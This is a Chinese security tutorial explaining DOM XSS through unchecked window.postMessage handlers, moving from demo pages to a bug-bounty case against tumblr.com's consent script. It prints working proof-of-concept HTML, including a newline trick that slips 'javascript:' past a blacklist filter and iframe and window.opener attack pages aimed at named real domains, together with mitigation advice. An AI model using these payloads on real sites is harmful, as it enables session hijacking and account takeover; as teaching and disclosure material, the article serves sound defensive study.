【网络安全】PostMessage:分析JS实现XSS
未经许可,不得转载。
文章目录
- 前言
- 示例
- 正文
前言
PostMessage是一个用于在网页间安全地发送消息的浏览器 API。它允许不同的窗口(例如,来自同一域名下的不同页面或者不同域名下的跨域页面)进行通信,而无需通过服务器。通常情况下,它用于实现跨文档消息传递(Cross-Document Messaging),这在一些复杂的网页应用和浏览器插件中非常有用。
示例
在深入学习本文前,通过父子窗口间的消息传递示例代码+浏览器回显带领读者了解必要的知识。
1、send.html通过 postMessage 函数向receive.html发送消息:
<!--send.html-->
<!DOCTYPE html>
<html>
<head><title>发送界面</title><meta charset="utf-8" /><script>function openChild() {child = window.open('receive.html', 'popup', 'height=300px, width=300px');}function sendMessage() {//发送的数据内容let msg = { content: "玲珑安全漏洞挖掘培训vx: bc52013" };//发送消息到任意目标源child.postMessage(msg, '*');}</script>
</head>
<body><input type='button' id='btnopen' value='打开子窗口' onclick='openChild();' /><input type='button' id='btnSendMsg' value='发送消息' onclick='sendMessage();' />
</body>
</html>

2、receive.html通过监听 message 事件来输出收到的消息:
<!--receive.html-->
<!DOCTYPE html>
<html>
<head><title>接收界面</title><meta charset="utf-8" /><script>//添加事件监控消息window.addEventListener("message", (event) => {let txt = document.getElementById("msg");//接收传输过来的变量数据txt.value = `接收到的消息为:${event.data.content}`;});</script>
</head>
<body><h1>接收界面(子窗口)</h1><input type='text' id='msg' style='width: 400px; height: 50px;'/>
</body>
</html>

3、在send.html点击打开子窗口后弹出子窗口:

4、点击发送消息后,接收界面收到并且打印消息内容**“玲珑安全漏洞挖掘培训vx: bc52013”**

如上,通过PostMessage实现了父子窗口间的消息传递。
然而,若代码书写不规范将导致安全问题。
1、数据伪造
由于receive.html没有设置信任源,因此任意页面都可向该页面发送数据,导致数据伪造。
<!--数据伪造.html-->
<!DOCTYPE html>
<html>
<head><title>数据伪造界面</title><meta charset="utf-8" /><script>function openChild() {child = window.open('receive.html', 'popup', 'height=300px, width=300px');}function sendMessage() {//发送的数据内容let msg = { content: "ICE" };//发送消息到任意目标源child.postMessage(msg, '*');}</script>
</head>
<body><input type='button' id='btnopen' value='打开子窗口' onclick='openChild();' /><input type='button' id='btnSendMsg' value='发送消息' onclick='sendMessage();' />
</body>
</html>
如图,接收方本应接收到的消息为:

而在数据伪造界面打开子窗口并发送消息后,接收界面接收到伪造数据:

2、XSS
当发送参数可控且接收方处理不当时,将导致DOM XSS
例如,受害方接收一个可控的URL参数:
<!--受害方.html-->
<!DOCTYPE html>
<html>
<head><title>受害方界面</title><meta charset="utf-8" /><script>//添加事件监控消息window.addEventListener("message", (event) => {location.href=`${event.data.url}`;});</script>
</head>
<body><h1>受害方界面(子窗口)</h1>
</body>
</html>
于是可以构造恶意请求,实现XSS:
<!--攻击方实现XSS.html-->
<!DOCTYPE html>
<html>
<head><title>攻击方实现XSS界面</title><meta charset="utf-8" /><script>function openChild() {child = window.open('受害方.html', 'popup', 'height=300px, width=300px');}function sendMessage() {//发送的数据内容let msg = { url:"javascript:alert('玲珑安全漏洞挖掘培训')" };//发送消息到任意目标源child.postMessage(msg, '*');}</script>
</head>
<body><input type='button' id='btnopen' value='打开子窗口' onclick='openChild();' /><input type='button' id='btnSendMsg' value='发送消息' onclick='sendMessage();' />
</body>
</html>
在攻击方界面打开子窗口:

点击发送消息后,受害方执行JS代码:


同时,当页面中不包含X-Frame-Options标头时,还可利用 <iframe>标签嵌套受害方页面并传递可控参数,以执行JS代码:
<!-- 攻击方: hacker.html -->
<!DOCTYPE html>
<html>
<head><title>XSS-iframe</title>
</head><body><iframe name="attack" src="http://127.0.0.1/user.html" onload="xss()"></iframe>
</body><script type="text/javascript">var iframe = window.frames.attack;function xss() {let msg = {url: "javascript:alert(document.domain)"};iframe.postMessage(msg, '*');}
</script>
</html>

攻击效果如图:

漏洞危害如下:
(i)窃取用户敏感数据(个人数据、消息等)
(ii)窃取 CSRF 令牌并以用户的名义执行恶意操作
(iii)窃取账户凭证并接管用户账户
修复缓解方案:
1、发送方应验证目标源,确保消息只能被预期的接收方处理:

接收方应使用指定的信任域:

此时,点击发送消息后,受害方界面不再执行弹窗,因为攻击方指定的目标源是https协议,而受害方仅指定http://127.0.0.1为信任源:

当攻击方页面指定127.0.0.1的http协议时,由于攻击方页面与受害者页面均在该服务器上,因此能够实现XSS:


正文
进入tumblr.com,在cmpStub.min.js文件中存在如下函数,其不检查 postMessage 的来源:
!function() {var e = !1;function t(e) {var t = "string" == typeof e.data, n = e.data;if (t)try {n = JSON.parse(e.data)} catch (e) {}if (n && n.__cmpCall) {var r = n.__cmpCall;window.__cmp(r.command, r.parameter, function(n, o) {var a = {__cmpReturn: {returnValue: n,success: o,callId: r.callId}};e && e.source && e.source.postMessage(t ? JSON.stringify(a) : a, "*")//不检查来源,为后续测试提供可能性})}}
主要含义:接收并解析 JSON 数据 (e.data),将其转换为 JavaScript 对象 (n);执行 __cmpCall 中指定的命令和参数,并将执行结果封装成返回对象 a;最后通过 postMessage 方法将处理结果发送回消息来源。
跟进__cmp() 函数,看看应用程序对数据进行了何种处理:
if (e)return {init: function(e) {if (!l.a.isInitialized())if ((p = e || {}).uiCustomParams = p.uiCustomParams || {},p.uiUrl || p.organizationId)if (c.a.isSafeUrl(p.uiUrl)) {p.gdprAppliesGlobally && (l.a.setGdprAppliesGlobally(!0),g.setGdpr("S"),g.setPublisherId(p.organizationId)),(t = p.sharedConsentDomain) && r.a.init(t),s.a.setCookieDomain(p.cookieDomain);var n = s.a.getGdprApplies();!0 === n ? (p.gdprAppliesGlobally || g.setGdpr("C"),h(function(e) {e ? l.a.initializationComplete() : b(l.a.initializationComplete)}, !0)) : !1 === n ? l.a.initializationComplete() : d.a.isUserInEU(function(e, n) {n || (e = !0),s.a.setIsUserInEU(e),e ? (g.setGdpr("L"),h(function(e) {e ? l.a.initializationComplete() : b(l.a.initializationComplete)}, !0)) : l.a.initializationComplete()})} elsec.a.logMessage("error", 'CMP Error: Invalid config value for (uiUrl). Valid format is "http[s]://example.com/path/to/cmpui.html"');
// (...)
可以看出,c.a.isSafeUrl(p.uiUrl))为真才将继续执行。
跟进isSafeUrl函数:
isSafeUrl: function(e) {return -1 === (e = (e || "").replace(" ","")).toLowerCase().indexOf("javascript:")},
若p.uiUrl(即e)中存在javascript,则返回假。
所以这里是为了防止JS代码执行,而通常使用黑名单的防护方式是容易被绕过的。
那么传入的p.uiUrl参数后续会经过什么处理呢?
在上面的代码中,还存在该行代码:
e ? l.a.initializationComplete() : b(l.a.initializationComplete)
跟进b()函数:
b = function(e) {g.markConsentRenderStartTime();var n = p.uiUrl ? i.a : a.a;l.a.isInitialized() ? l.a.getConsentString(function(t, o) {p.consentString = t,n.renderConsents(p, function(n, t) {g.setType("C").setGdprConsent(n).fire(),w(n),"function" == typeof e && e(n, t)})}) : n.renderConsents(p, function(n, t) {g.setType("C").setGdprConsent(n).fire(),w(n),"function" == typeof e && e(n, t)})
再跟进关键的renderConsents() 函数:
renderConsents: function(n, p) {if ((t = n || {}).siteDomain = window.location.origin,r = t.uiUrl) {if (p && u.push(p),!document.getElementById("cmp-container-id")) {(i = document.createElement("div")).id = "cmp-container-id",i.style.position = "fixed",i.style.background = "rgba(0,0,0,.5)",i.style.top = 0,i.style.right = 0,i.style.bottom = 0,i.style.left = 0,i.style.zIndex = 1e4,document.body.appendChild(i),(a = document.createElement("iframe")).style.position = "fixed",a.src = r,a.id = "cmp-ui-iframe",a.width = 0,a.height = 0,a.style.display = "block",a.style.border = 0,i.style.zIndex = 10001,l(),
可以看到该函数将创建iframe元素,而该元素的src属性就是我们可控的p.uiUrl。
综上所述,整体流程如下:
传入的数据进入cmp()函数处理 -> 处理时执行issafeurl函数判断数据是否合法 -> 若合法,则执行renderConsents()函数,构造iframe
知悉参数从传递到处理的流程后,就可以构造Payload了。
现在的目的是绕过isSafeUrl函数,而恰好,JavaScript 在处理字符串时,会忽略掉换行符、制表符等空白字符(无害脏数据):

因此,依据__cmp() 函数,以JSON形式构造Payload如下:
{"__cmpCall": {"command": "init","parameter": {"uiUrl": "ja\nvascript:alert(document.domain)","uiCustomParams": "ice","organizationId": "ice","gdprAppliesGlobally": "ice"}}
}
使用iframe嵌套受攻击页面:
<html><body><script>window.setInterval(function(e) {try {window.frames[0].postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"ice\",\"organizationId\":\"ice\",\"gdprAppliesGlobally\":\"ice\"}}}", "*");} catch(e) {}}, 100);</script><iframe src="https://consent.cmp.oath.com/tools/demoPage.html"></iframe></body>
</html>
成功实现XSS:

以上是页面中不包含X-Frame-Options标头的情况,导致我们能嵌套受攻击页面。
若页面中包含X-Frame-Options 标头,则我们不能嵌套受攻击页面。这种情况下,可通过 window.opener 实现两个浏览器选项卡之间的连接,再发送 postMessage 消息,实现XSS。
在tumblr.com页面存在X-Frame-Options标头,但也含有cmpStub.min.js文件的情况下,攻击代码如下所示:
<html>
<body>
<script>
function e() {window.setTimeout(function() {window.location.href = "https://www.tumblr.com/embed/post/";}, 500);
}
window.setInterval(function(e) {try {window.opener.postMessage("{\"__cmpCall\":{\"command\":\"init\",\"parameter\":{\"uiUrl\":\"ja\\nvascript:alert(document.domain)\",\"uiCustomParams\":\"ice\",\"organizationId\":\"ice\",\"gdprAppliesGlobally\":\"ice\"}}}","*");} catch(e) {}
}, 100);
</script><a onclick="e()" href="/tumblr.html" target=_blank>Click me</a>
</body>
</html>
成功实现XSS:

参考链接:
https://www.cnblogs.com/piaomiaohongchen/p/18305112
https://research.securitum.com/art-of-bug-bounty-a-way-from-js-file-analysis-to-xss/
相关文章:
【网络安全】PostMessage:分析JS实现XSS
未经许可,不得转载。 文章目录 前言示例正文 前言 PostMessage是一个用于在网页间安全地发送消息的浏览器 API。它允许不同的窗口(例如,来自同一域名下的不同页面或者不同域名下的跨域页面)进行通信,而无需通过服务器…...
liosam复现
写在前面: 本机系统ubuntu22.04dockernvidia docker的环境 本机系统已经安装好nvidia驱动和cuda 使用liosam提供的镜像在22.04下实在是无法兼容。 所以在rosnoetic(ubuntu20.04)下进行配置,本教程中rosnoetic:v3.2是在docker hub&…...
Flutter实战小案例
(实战)点不到的按钮 // 主要实现效果类 class _MyHomePageState extends State<MyHomePage> {// 1.定义要使用的变量double btnLeft 0;double btnTop 0;int timeDuration 500;String textButton "点我呀";// 2.获得当前设备屏幕尺⼨,需要impor…...
uniapp转小程序,小程序转uniapp方法
🤵 作者:coderYYY 🧑 个人简介:前端程序媛,目前主攻web前端,后端辅助,其他技术知识也会偶尔分享🍀欢迎和我一起交流!🚀(评论和私信一般会回&#…...
WPF中Frame
在Windows Presentation Foundation (WPF) 中,Frame 控件是一个非常重要的元素,主要用于实现页面导航和内容的动态加载。Frame 类似于网页开发中的iframe,但它是WPF应用程序中的一个容器,能够显示不同的页面或控件内容。 以下是F…...
大数据基础:Doris重点架构原理
文章目录 Doris重点架构原理 一、Apache Doris介绍 二、Apache Doris使用场景 三、Apache Doris架构原理 四、Apache Doris 特点 Doris重点架构原理 一、Apache Doris介绍 基于 MPP 架构的高性能、实时的分析型数据库,以极速易用的特点被人们所熟知ÿ…...
.NET Framework、.NET Core 、 .NET 5、.NET 6和.NET 7 和.NET8 简介及区别
简述 在软件开发的宇宙中,.NET是一个不断扩展的星系,每个版本都像是一颗独特的星球,拥有自己的特性和环境。作为技术经理,站在选择的十字路口,您需要一张详尽的星图来导航。本文将作为您的向导,带您穿越从.…...
k8s核心操作_存储抽象_K8S中使用ConfigMap抽取配置_实现配置热更新---分布式云原生部署架构搭建032
现在有个问题,是上面我们利用pv和pvc 就是持久卷 以及 持久卷申请,实现了对存储的,pod删除以后,对其使用的存储空间也进行了删除,那么还有个问题,对于redis这种我们希望,他的配置也管理起来. 比如这个redis的配置文件. 以后其他的配置文件也是这样. 使用配置文件的存储在k8s中…...
【前端】SpringBootWeb 篇-入门了解 Spring Cache、Spring Task与WebSocket 框架
在SpringBootWeb开发中,Spring Cache、Spring Task与WebSocket框架是三个非常重要的组件,它们分别用于缓存管理、任务调度和实时通信。以下是对这三个框架的入门了解: 一、Spring Cache 1. 简介 Spring Cache是Spring框架提供的缓存抽象&a…...
应用最优化方法及MATLAB实现——第4章代码实现
一、概述 之前对这本书的第三章进行了代码实现,这篇博客是对这本书第4章相关代码进行实现,部分内容安装书中代码无法实现相应功能,MATLAB会报错,对其进行一定程度的更改后,可以正常运行,与书中所给示例运行…...
搜维尔科技:Riablo提供一种创新的康复解决方案,通过激活本体感觉,并通过视听反馈促进神经肌肉的训练。
Riablo提供一种创新的康复解决方案,通过激活本体感觉,并通过视听反馈促进神经肌肉的训练。 搜维尔科技:Riablo提供一种创新的康复解决方案,通过激活本体感觉,并通过视听反馈促进神经肌肉的训练。...
NodeJS技巧:在循环中管理异步函数的执行次数
背景介绍 在现代Web开发中,NodeJS因其高效的异步处理能力而备受青睐。尤其在数据抓取、网络爬虫等应用场景中,NodeJS的非阻塞I/O特性使其成为不二之选。然而,在实际编程过程中,我们经常会遇到一个棘手的问题——如何在循环中控制…...
debian 实现离线批量安装软件包
前言 实现在线缓冲需要的软件和对应依赖的包,离线进行安装 ,用于软件封装。 测试下载一个gcc和依赖环境,关闭默认在线源,测试离线安装gcc和依赖环境 兼容 debian ubuntu/test 测试下载安装包到目录 vim /repo_download.sh #!…...
远程开机准备工作
本文章以华硕主板B460M为样板,进行远程开机的前提设置 第一步主板设置 开机按del进入bios主界面,进入高级模式 找到高级-----高级电源管理 进去以后选择由pci_e设备唤醒点击开启 设置完成以后保存并退出 第二步网卡设置 打开设备管理器找到网络适配器…...
PGCCC|【PostgreSQL】PCA+PCP+PCM等IT类认证申报个税退税指南
小编特将PostgreSQL证书申报个税退税流程,编辑成文,供大家申报参考哦~ 1.申报专项附加扣除 第一步:打开个人所得税APP,选择“专项附加扣除填报”: 第二步:“扣除年度”选择您要申报的年度,并…...
让AI语言模型自由飞翔:LangChain框架的奇妙世界
今天,我将为大家揭开一项令人激动的技术——LangChain。想象一下,如果能将人工智能的强大能力与我们日常使用的数据和工具无缝连接,那将开启怎样崭新且无限的可能! LangChain,一个专为大型语言模型设计的框架…...
solidity基础语法(以太坊solidity合约)
solidity基础语法(以太坊solidity合约) 1-值类型和取值范围2-引用类型3-引用类型高阶4-固定数组和动态数组 1-值类型和取值范围 https://learnblockchain.cn/docs/solidity/introduction-to-smart-contracts.html#subcurrency https://learnblockchain…...
【机器学习实战】电力需求预测挑战赛 Datawhale AI 夏令营 task2
【机器学习实战】电力需求预测挑战赛 Datawhale AI 夏令营 task2 一、赛题背景二、赛题任务三、评审规则四、具体实践4.1 实现的思路4.2 理论介绍GBDTLightGBM 4.3 代码的实现与运行4.3.1 导入模块4.3.2 探索性数据分析(EDA)4.3.3 特征工程4.3.4 模型训练…...
【设计模式】【创建型模式】【02工厂模式】
系列文章 可跳转到下面链接查看下表所有内容https://blog.csdn.net/handsomethefirst/article/details/138226266?spm1001.2014.3001.5501文章浏览阅读2次。系列文章大全https://blog.csdn.net/handsomethefirst/article/details/138226266?spm1001.2014.3001.5501 目录 系…...
FPGA设计中的流水线 -分割大的计算电路可以更快的处理数据。
FPGA(现场可编程门阵列)设计中的流水线优化是一种提高设计性能的技术,它通过将设计分解为多个阶段或步骤来实现。每个阶段可以并行执行,从而提高整体的吞吐量和效率。以下是流水线优化的一些关键概念和作用: 意思&…...
DAY 47
三、通道注意力 3.1 通道注意力的定义 # 新增:通道注意力模块(SE模块) class ChannelAttention(nn.Module):"""通道注意力模块(Squeeze-and-Excitation)"""def __init__(self, in_channels, reduction_rat…...
定时器任务——若依源码分析
分析util包下面的工具类schedule utils: ScheduleUtils 是若依中用于与 Quartz 框架交互的工具类,封装了定时任务的 创建、更新、暂停、删除等核心逻辑。 createScheduleJob createScheduleJob 用于将任务注册到 Quartz,先构建任务的 JobD…...
镜像里切换为普通用户
如果你登录远程虚拟机默认就是 root 用户,但你不希望用 root 权限运行 ns-3(这是对的,ns3 工具会拒绝 root),你可以按以下方法创建一个 非 root 用户账号 并切换到它运行 ns-3。 一次性解决方案:创建非 roo…...
C++中string流知识详解和示例
一、概览与类体系 C 提供三种基于内存字符串的流,定义在 <sstream> 中: std::istringstream:输入流,从已有字符串中读取并解析。std::ostringstream:输出流,向内部缓冲区写入内容,最终取…...
网络编程(UDP编程)
思维导图 UDP基础编程(单播) 1.流程图 服务器:短信的接收方 创建套接字 (socket)-----------------------------------------》有手机指定网络信息-----------------------------------------------》有号码绑定套接字 (bind)--------------…...
【SSH疑难排查】轻松解决新版OpenSSH连接旧服务器的“no matching...“系列算法协商失败问题
【SSH疑难排查】轻松解决新版OpenSSH连接旧服务器的"no matching..."系列算法协商失败问题 摘要: 近期,在使用较新版本的OpenSSH客户端连接老旧SSH服务器时,会遇到 "no matching key exchange method found", "n…...
日常一水C
多态 言简意赅:就是一个对象面对同一事件时做出的不同反应 而之前的继承中说过,当子类和父类的函数名相同时,会隐藏父类的同名函数转而调用子类的同名函数,如果要调用父类的同名函数,那么就需要对父类进行引用&#…...
DAY 26 函数专题1
函数定义与参数知识点回顾:1. 函数的定义2. 变量作用域:局部变量和全局变量3. 函数的参数类型:位置参数、默认参数、不定参数4. 传递参数的手段:关键词参数5 题目1:计算圆的面积 任务: 编写一…...
2025.6.9总结(利与弊)
凡事都有两面性。在大厂上班也不例外。今天找开发定位问题,从一个接口人不断溯源到另一个 接口人。有时候,不知道是谁的责任填。将工作内容分的很细,每个人负责其中的一小块。我清楚的意识到,自己就是个可以随时替换的螺丝钉&…...
算法刷题-回溯
今天给大家分享的还是一道关于dfs回溯的问题,对于这类问题大家还是要多刷和总结,总体难度还是偏大。 对于回溯问题有几个关键点: 1.首先对于这类回溯可以节点可以随机选择的问题,要做mian函数中循环调用dfs(i&#x…...
